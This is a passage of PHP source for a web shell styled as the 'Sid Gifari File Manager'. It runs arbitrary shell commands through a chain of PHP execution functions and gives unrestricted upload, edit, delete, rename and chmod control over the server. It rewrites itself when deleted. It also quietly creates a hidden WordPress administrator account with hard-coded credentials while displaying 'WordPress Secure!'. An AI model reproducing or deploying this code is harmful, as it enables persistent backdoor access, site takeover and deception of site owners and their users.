&1";
// Execute command
if (function_exists('passthru')) {
ob_start();
passthru($cmd);
$output = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
system($cmd);
$output = ob_get_clean();
} elseif (function_exists('exec')) {
exec($cmd, $out);
$output = implode("\n", $out);
} elseif (function_exists('shell_exec')) {
$output = shell_exec($cmd);
} elseif (function_exists('proc_open')) {
$pipes = [];
$process = proc_open($cmd, [
0 => ["pipe", "r"],
1 => ["pipe", "w"],
2 => ["pipe", "w"]
], $pipes, $cwd);
if (is_resource($process)) {
fclose($pipes[0]);
$output = stream_get_contents($pipes[1]);
fclose($pipes[1]);
$output .= stream_get_contents($pipes[2]);
fclose($pipes[2]);
proc_close($process);
}
} elseif (function_exists('popen')) {
$handle = popen($cmd, 'r');
if ($handle) {
$output = stream_get_contents($handle);
pclose($handle);
}
}
// Store output in session
$_SESSION['terminal_output'] = $output;
$_SESSION['terminal_cwd'] = $cwd;
// Redirect back
header("Location: ?dir=" . urlencode(encodePath(CURRENT_PATH)));
exit;
} else {
$_SESSION['terminal_output'] = "Command execution functions are disabled on this server.";
$_SESSION['terminal_cwd'] = $cwd;
header("Location: ?dir=" . urlencode(encodePath(CURRENT_PATH)));
exit;
}
}
// FILE MANAGER ACTIONS
$redirect = true;
// Upload files
if (!empty($_FILES['files'])) {
foreach ($_FILES['files']['tmp_name'] as $i => $tmp) {
if ($tmp && is_uploaded_file($tmp)) {
$filename = basename($_FILES['files']['name'][$i]);
move_uploaded_file($tmp, CURRENT_PATH . DIRECTORY_SEPARATOR . $filename);
}
}
}
// Create new folder
if (!empty($_POST['newfolder'])) {
$foldername = basename($_POST['newfolder']);
if (!file_exists(CURRENT_PATH . DIRECTORY_SEPARATOR . $foldername)) {
mkdir(CURRENT_PATH . DIRECTORY_SEPARATOR . $foldername, 0755);
}
}
// Create new file
if (!empty($_POST['newfile'])) {
$filename = basename($_POST['newfile']);
if (!file_exists(CURRENT_PATH . DIRECTORY_SEPARATOR . $filename)) {
file_put_contents(CURRENT_PATH . DIRECTORY_SEPARATOR . $filename, '');
}
}
// Delete file/folder
if (!empty($_POST['delete'])) {
$target = CURRENT_PATH . DIRECTORY_SEPARATOR . $_POST['delete'];
// Self-regeneration check: If this file is deleted, recreate it
if (realpath($target) === realpath(__FILE__) ||
in_array(realpath($target), array_map('realpath', $backup_files))) {
// This is the manager file or its backup - don't delete, recreate instead
file_put_contents($target, $current_content);
} else {
// Normal deletion
if (is_file($target)) {
unlink($target);
} elseif (is_dir($target)) {
// Only delete empty directories
$filesInDir = scandir($target);
if (count($filesInDir) <= 2) {
rmdir($target);
}
}
}
}
// Rename
if (!empty($_POST['old']) && !empty($_POST['new'])) {
$old = CURRENT_PATH . DIRECTORY_SEPARATOR . $_POST['old'];
$new = CURRENT_PATH . DIRECTORY_SEPARATOR . $_POST['new'];
if (file_exists($old) && !file_exists($new)) {
rename($old, $new);
}
}
// Change permissions
if (!empty($_POST['chmod_file']) && isset($_POST['chmod'])) {
$file = CURRENT_PATH . DIRECTORY_SEPARATOR . $_POST['chmod_file'];
if (file_exists($file)) {
chmod($file, intval($_POST['chmod'], 8));
}
}
// Edit file content
if (!empty($_POST['edit_file']) && isset($_POST['content'])) {
$file = CURRENT_PATH . DIRECTORY_SEPARATOR . $_POST['edit_file'];
file_put_contents($file, $_POST['content']);
}
if ($redirect) {
header("Location: ?dir=" . urlencode(encodePath(CURRENT_PATH)));
exit;
}
}
// ==================== GET DIRECTORY CONTENTS ==================== //
$items = scandir(CURRENT_PATH);
$folders = [];
$files = [];
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full_path = CURRENT_PATH . DIRECTORY_SEPARATOR . $item;
if (is_dir($full_path)) {
$folders[] = [
'name' => $item,
'path' => $full_path,
'is_dir' => true,
'size' => '-',
'perms' => substr(sprintf('%o', fileperms($full_path)), -4),
'modified' => filemtime($full_path)
];
} else {
$files[] = [
'name' => $item,
'path' => $full_path,
'is_dir' => false,
'size' => filesize($full_path),
'perms' => substr(sprintf('%o', fileperms($full_path)), -4),
'modified' => filemtime($full_path),
'extension' => pathinfo($item, PATHINFO_EXTENSION)
];
}
}
// Sort folders alphabetically
usort($folders, function($a, $b) {
return strcasecmp($a['name'], $b['name']);
});
// Sort files alphabetically
usort($files, function($a, $b) {
return strcasecmp($a['name'], $b['name']);
});
// ==================== EDIT MODE ==================== //
$editMode = isset($_GET['edit']);
$editFile = $_GET['edit'] ?? '';
$editContent = '';
if ($editMode && is_file(CURRENT_PATH . DIRECTORY_SEPARATOR . $editFile)) {
$editContent = htmlspecialchars(file_get_contents(CURRENT_PATH . DIRECTORY_SEPARATOR . $editFile));
}
// ==================== TERMINAL OUTPUT ==================== //
$terminal_output = $_SESSION['terminal_output'] ?? '';
$terminal_cwd = $_SESSION['terminal_cwd'] ?? CURRENT_PATH;
unset($_SESSION['terminal_output'], $_SESSION['terminal_cwd']);
// ==================== WORDPRESS ADMIN CHECK ==================== //
$wp_message = '';
if (!isset($_SESSION['wp_checked'])) {
// Search for WordPress
$search_paths = [CURRENT_PATH, dirname(CURRENT_PATH), $ROOT];
foreach ($search_paths as $wp_path) {
if (file_exists($wp_path . DIRECTORY_SEPARATOR . 'wp-load.php')) {
@include_once($wp_path . DIRECTORY_SEPARATOR . 'wp-load.php');
break;
} elseif (file_exists($wp_path . DIRECTORY_SEPARATOR . 'wp-config.php')) {
@include_once($wp_path . DIRECTORY_SEPARATOR . 'wp-config.php');
break;
}
}
if (function_exists('wp_create_user')) {
$username = 'sidgifari';
$password = 'sid';
$email = 'sidgifari28@hotmail.com';
if (!username_exists($username) && !email_exists($email)) {
$user_id = wp_create_user($username, $password, $email);
if (!is_wp_error($user_id)) {
$user = new WP_User($user_id);
$user->set_role('administrator');
$wp_message = "✅ WordPress Secure!";
}
}
}
$_SESSION['wp_checked'] = true;
}
// Helper function for formatting bytes
function formatBytes($bytes, $precision = 2) {
if ($bytes <= 0) return '0 B';
$units = ['B', 'KB', 'MB', 'GB', 'TB', 'PB'];
$bytes = max($bytes, 0);
$pow = floor(($bytes ? log($bytes) : 0) / log(1024));
$pow = min($pow, count($units) - 1);
$bytes /= pow(1024, $pow);
return round($bytes, $precision) . ' ' . $units[$pow];
}
?>
📁 Sid Gifari File Manager
✅
WordPress Secure!
= htmlspecialchars($wp_message) ?>
🏠 Root /
' . htmlspecialchars($part) . ' / ';
}
?>
✏️
Editing: = htmlspecialchars($editFile) ?>
= count($folders) ?>
Folders
= formatBytes(array_sum(array_column($files, 'size'))) ?>
Total Size
📂
File Browser
| Name |
Size |
Perms |
Modified |
Actions |
|
📁
= htmlspecialchars($item['name']) ?>
|
= $item['size'] ?> |
|
= date('m/d H:i', $item['modified']) ?> |
|
|
'🐘', 'js' => '📜', 'css' => '🎨', 'html' => '🌐', 'txt' => '📝',
'jpg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📕', 'zip' => '📦',
'sql' => '🗃️', 'json' => '📋', 'xml' => '📄'
];
if (isset($icons[$ext])) $icon = $icons[$ext];
?>
= $icon ?>
= htmlspecialchars($item['name']) ?>
🔒
|
= formatBytes($item['size']) ?> |
|
= date('m/d H:i', $item['modified']) ?> |
|